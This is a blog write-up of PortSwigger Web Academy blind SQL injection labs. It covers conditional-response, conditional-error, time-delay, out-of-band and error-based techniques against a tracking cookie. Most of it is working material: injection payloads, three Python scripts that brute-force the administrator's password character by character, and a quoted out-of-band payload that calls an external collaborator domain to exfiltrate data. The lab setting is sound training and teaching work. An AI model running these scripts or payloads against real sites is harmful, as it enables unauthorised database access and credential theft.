Home Blind SQL Injection
Post
Cancel
image alternative text

Blind SQL Injection

Intro

Lab at portswigger: Blind SQL Injection

TOC

Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a “Welcome back” message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user. We know that we have SQLi vulnerability in the TrackingId Cookie value. We also know that we should see “Welcome back” if query return any rows.

Intro

But to get an Idea what we’re dealing with, here the website: picture 28

And here the HTTP Request in BURP: picture 29

We can observe that we can see the Welcome Back! in the HTTP Response and the TrackingId cookie.

Finding the SQL Injection

Now we need to see if we can inject SQL and get Welcome Back! message displayed using following Payload:

1
TrackingId=2msRiqUVGWhY8DWK' OR 1=1 --

picture 30

Yes, we do.

Now let’s try:

  • Payload where we remove a letter from Tracking ID and have valid OR statement e.g. TrackingId=2msRiqUVGWhY8DW' OR 1=1 --
    • Result: we see Welcome Back! so the query is VALID.
  • Payload where we remove a letter from Tracking ID and have invalid OR statement, e.g. TrackingId=2msRiqUVGWhY8DW' OR 1=2 --
    • Result: there is no Welcome Back! present so the query is INVALID.

We haven’t found out anything what Portswigger Web Academy hasn’t already told us, but this is how we would verify the SQL Injection vulnerability, in this case, based on output in the response.

Now let’s enumerate the database.

Database Enumeration

Everything we do now it’s all about finding out if Database has returned something or not. If not, our check has failed. It’s really just asking and observing YES and NO.

So let’s ask our database yes/no questions

Does the users table exist

We can use FROM statement and compare SELECT with same string:

1
TrackingId=non-existent' OR (SELECT 'a' from Users LIMIT 1)='a' --

picture 32
Result: YES

Does the Administrator user exist

1
TrackingId=non-existent' OR (SELECT 'a' from Users where username='Administrator' LIMIT 1)='a' --

Short answer: NO

Does the administrator exist

1
TrackingId=non-existent' OR (SELECT 'a' from Users where username='administrator' LIMIT 1)='a' --

Short answer: Yes it does!

How long is the administrator’s password (is it longer than 3 characters)

1
TrackingId=non-existent' OR (SELECT 'a' from Users WHERE username='administrator' AND LENGTH(password)>3)='a' --;

Short answer: Yes, password is longer then 3 characters.

Does the first password letter start with "a"

1
TrackingId=non-existent' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' --

picture 34

Answer: yes it does.

Can we ask for for next character in users password using ascii (numbers) instead?

Yes we can. We’re asking for ASCII value 97.

picture 35

1
TrackingId=non-existent' OR (ascii(substring((SELECT password FROM users WHERE username = 'administrator'),1,1)))=97 --

So this is how we would go on when dumping the contents of the database. We would need to keep asking if that’s the character in that position etc.

This is doable with Burp Intruder, however i don’t know how to really display the password in a right way at the end. I’ve tried to do so in the next chapter, i’ve however used a script that does that for me. Anyways…

Dumping the database using Blind SQLInjection is very tedious so it’s good to know what we’re looking for exactly.

Automatic Solution using Python

As mentioned, i would use a script that i’ve used few times for that occasion (Dumping Data using SQLi). I’d search for ascii numbers rather than characters, but display them as normal characters so you can basically just copy-paste the dumped password.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import sys

requests.urllib3.disable_warnings()

def inject_func(ip, inj_str):
    for j in range(32, 126):
        # now we update the sqli
        session = requests.Session()
        session.verify = False
        target = "%s" % (ip)
        cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"EJOTJEW5lC8QL2zIU83YdnMMEhUT8708"} 
        #proxies = {"http": "http://127.0.0.1:8080"}
        r = session.get(target,cookies=cookies)
        if "Welcome back" in r.text:
            return j
    return 0

def main():
    if len(sys.argv) != 3:
        print("(+) usage: %s <target> <injection>" % sys.argv[0])
        print('(+) eg: %s 192.168.121.103 "select version()"' % sys.argv[0])
        sys.exit(-1)
    
    ip = sys.argv[1]
    injection_parameter = sys.argv[2]
    # e.g. for injection parameter = SELECT Password FROM Users WHERE Username = 'Administrator'

    out = "(+) Retrieving "+ injection_parameter
    print(out)
    #no need to exchange spaces etc.
    #injection_parameter = injection_parameter.replace(" ", "/**/")

    for i in range(1, 25):
        if i != 0:
            injection_string = "non-existent' OR (ascii(substring((" + injection_parameter + "),%d,1)))=[CHAR] --" % (i)
            extracted_char = chr(inject_func(ip, injection_string))
            sys.stdout.write(extracted_char)
            sys.stdout.flush()
        else:
            break
    print("\n(+) done!")
if __name__ == "__main__":
    main()

I’ve set the length to 25 manualy, so that many character length will we checked. This could have been automated as well but some other time!

As can be seen below, password was retrieved:

picture 33

Lab Done!

picture 31

Blind SQL injection with conditional errors

Intro

In this case the application does not react if SQL query has succeded or not, but rather we provoke an error to determine if our injected query has succeded or not. So again, we’re asking Yes/No questions.

Portswigger gives us two examples, where the first should give an error and second should succed.

1
2
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

Let’s first confirm that we actualy have a SQL Injection. We break an application like this: TrackingId=xyz' as we recieve 500 Internal Server Error. If we can fix this, we have won.

picture 37

  1. TrackingId=xyz' OR (SELECT 1)=1 -- which still returns an error, although the second OR statement should succed. Oracle DB however needs FROM or it will return an error.
  2. TrackingId=xyz' OR (SELECT 1 from DUAL)=1 -- works: picture 38
  3. TrackingId=xyz' OR (SELECT 2 FROM dual)=1 -- is still working.
  4. TrackingId=xyz' OR (SELECT 2 FROM dual123)=1 -- doesn’t work anymore
  5. Check if Table users exist: TrackingId=xyz' OR (SELECT 1 FROM users WHERE ROWNUM = 1)=1 --' - yes it does! We need WHERE ROWNUM = 1 otherwise we get an error instead, becase more then 1 row will be returned.

Problems arise - missing concatenation

Now again, we need to somehow to evaluate the database but here is where i’ve noticed the problem. It was hard to make CASE work because query as i’ve seen above it’s breaking the WebApplication so i had to resort to concatenation using || which is also the way Portswigger suggest solving the lab.

  • This gives us an 200 OK: xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
  • This returns an error xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
  1. Checking if administrator exist
    1
    
    xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' 
    

    Result: Yes it does as it returns an error

Finding password with Burp Intruder - first character

Let’s throw our query into intruder now.

1
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§e§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Let’s go with Sniper first to get only first character. Use Brute forcer with default settings and setting Min and Max length to 1:

picture 39

Finding password with Burp Intruder - whole password

Now let’s cycle through 20 character using Cluster Bomb with 2 payload sets:

  • Numbers from 1 to 21 with Step 1 and Min integer digits set to 1 and Max integer digits set to 2, eveything else to 0
  • Brute Forcer with Min and Max length set to 1

Disable encoding!

1
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§e§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';

This is the closest that i was able to get: picture 40

I would have to re-arange the characters as i wasn’t able to start with cycling the 2nd payload set :(.

Automating with Python

I’ve automated that password dump with python, again with comparing the characters against the ASCII table. I could’ve made the Ascii range smaller but i did not. Multithreading would also be nice ;) but maybe some other time.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import sys

requests.urllib3.disable_warnings()

def inject_func(ip, inj_str):
    for j in range(32, 126):
        # now we update the sqli
        session = requests.Session()
        session.verify = False
        target = "%s" % (ip)
        cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"XtNTol6QXK5ZuBb7VkQDo9qoWGtXHxTP"} 
        proxies = {"http": "http://127.0.0.1:8080"}
        r = session.get(target,proxies=proxies,cookies=cookies,verify=False)
        status_code = r.status_code
        if status_code == 500:
            return j
    return 0

def main():
    if len(sys.argv) != 2:
        print("(+) usage: %s <target> " % sys.argv[0])
        print('(+) eg: %s 192.168.121.103' % sys.argv[0])
        sys.exit(-1)
    
    ip = sys.argv[1]

    out = "(+) Retrieving the password"
    print(out)

    for i in range(1, 25):
        if i != 0:
            injection_string = "xyz'||(SELECT CASE WHEN ASCII(SUBSTR(password,%d,1))=[CHAR] THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (i)
            extracted_char = chr(inject_func(ip, injection_string))
            sys.stdout.write(extracted_char)
            sys.stdout.flush()
        else:
            break
    print("\n(+) done!")
if __name__ == "__main__":
    main()

Password has been retrieved from the script as well:

picture 42

Lab is done:

picture 41

Blind SQL injection with Time delays

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.

So for this lab, it’s only expected to create a delay so let’s get onto it.

Finding Blind SQLi using Time delay

The techniques for triggering a time delay are specific to the type of database being used.

In this lab we have OracleDB. To make SQLi to work,concatenation (||) had to be used again as in previous lab. My assumption is that we’re injection into WHERE statement.

1
TrackingId=U0z9axszQ7GfsVAt'||PG_SLEEP(10)--

We can observe delay in the response: picture 44

Lab done: picture 43

Blind SQL injection with time delays and information retrieval

Intro

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

So here the plan is first to find the SQL injection, and then to retrieve the administrators password as it has been done before.

Finding the SQL Injection

1
TrackingId=QRvD0dG8SNkAeEr7'||(SELECT PG_SLEEP(3))||'

picture 45

SQL Injection works with concatenation using || but it also works using stacked queries, separating it with ;:

1
TrackingId=QRvD0dG8SNkAeEr7'%3b(SELECT PG_SLEEP(3))%3b'

Testing Yes/No Condition

  1. Using CASE WHEN ... THEN statement we get response in 3 seconds
    1
    
    TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--;
    
  2. We should now get response immediatly:
    1
    
    TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--; session=kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq
    

    And yes, we do get a response in 98 miliseconds.

Extracting password from administrator

Does administrator exist

1
TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--

Answer: Yes it does!

What is the first character of administrator’s password

I’ve used Request Timer here for intruder as intruder itself does not display the response time :(.

picture 46

So the first character is 1 and we could let Intruder find all the characters but let’s try to do the same with Python again. I will again check for ascii values.

Checking with repeater if asking for ASCII values actually works:

1
TrackingId=QRvD0dG8SNkAeEr7'%3bSELECT+CASE+WHEN+(username='administrator'+AND+ASCII(SUBSTRING(password,1,1))=49)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--; session=kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq

… and yes it does! Now let’s automate with Python

Automation with Python

Only thing that is different compared to scripts before it’s that we’re using time for comparison before and after request was sent.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import sys
import time

requests.urllib3.disable_warnings()

def inject_func(ip, inj_str):
    for j in range(32, 126):
        # now we update the sqli
        session = requests.Session()
        session.verify = False
        target = "%s" % (ip)
        cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq"} 
        proxies = {"http": "http://127.0.0.1:8080"}
        time_start=time.time()
        r = session.get(target,proxies=proxies,cookies=cookies,verify=False)
        time_finish=time.time()
        time_total=time_finish - time_start
        #print(time_total)
        if time_total > 2:
            return j
    return 0

def main():
    if len(sys.argv) != 2:
        print("(+) usage: %s <target> " % sys.argv[0])
        print('(+) eg: %s 192.168.121.103' % sys.argv[0])
        sys.exit(-1)
    
    ip = sys.argv[1]

    out = "(+) Retrieving the password"
    print(out)

    for i in range(1, 25):
        if i != 0:
            injection_string = "QRvD0dG8SNkAeEr7'%%3bSELECT+CASE+WHEN+(username='administrator'+AND+ASCII(SUBSTRING(password,%d,1))=[CHAR])+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--" % (i)
            extracted_char = chr(inject_func(ip, injection_string))
            sys.stdout.write(extracted_char)
            sys.stdout.flush()
        else:
            break
    print("\n(+) done!")
if __name__ == "__main__":
    main()

Password has been retrived

picture 48

Lab done:

picture 47

Blind SQL injection with out-of-band data exfiltration

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

First i should mention i had diffilculties finding the vulnerability by using SQLMap but had more luck with Burp’s Scanner

picture 0

This is query that Burp has used:

1
Cookie: TrackingId=g3cOtQeauj4CSC6p'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20rucxp%20SYSTEM%20%22http%3a%2f%2frpkzmgpymoyy6bk563eiduduslyem4a8y1lr9g.oasti'%7c%7c'fy.com%2f%22%3e%25rucxp%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c';

To solve the lab we need to exfiltrate administrator’s password. We can do it by exfiltrating data in the subdomain.

picture 1

If the payload has worked, we should get an entry in the collaborator:

picture 3

Lab has been solved:

picture 2

PS: PortSwiggers SQLi Cheatsheet: https://portswigger.net/web-security/sql-injection/cheat-sheet

Visible error-based SQL injection

This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.

The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.

In this lab, we get to see the error from the query, and if we read the description, it should be in the trackingId cookie.

picture 4

We can fix the query with EEioT3zzbZMmwTuQ'+OR+1=1+--

Let us keep in mind we are dealing with error based injection and we should exfiltrate infromation through the errors.

As there is truncation in place, following query will work:

1
' AND 2=CAST((SELECT username FROM users LIMIT+1) AS int)+--

We can retrieve the password from the same database, without using offset (luckily!).

This post is licensed under CC BY 4.0 by the author.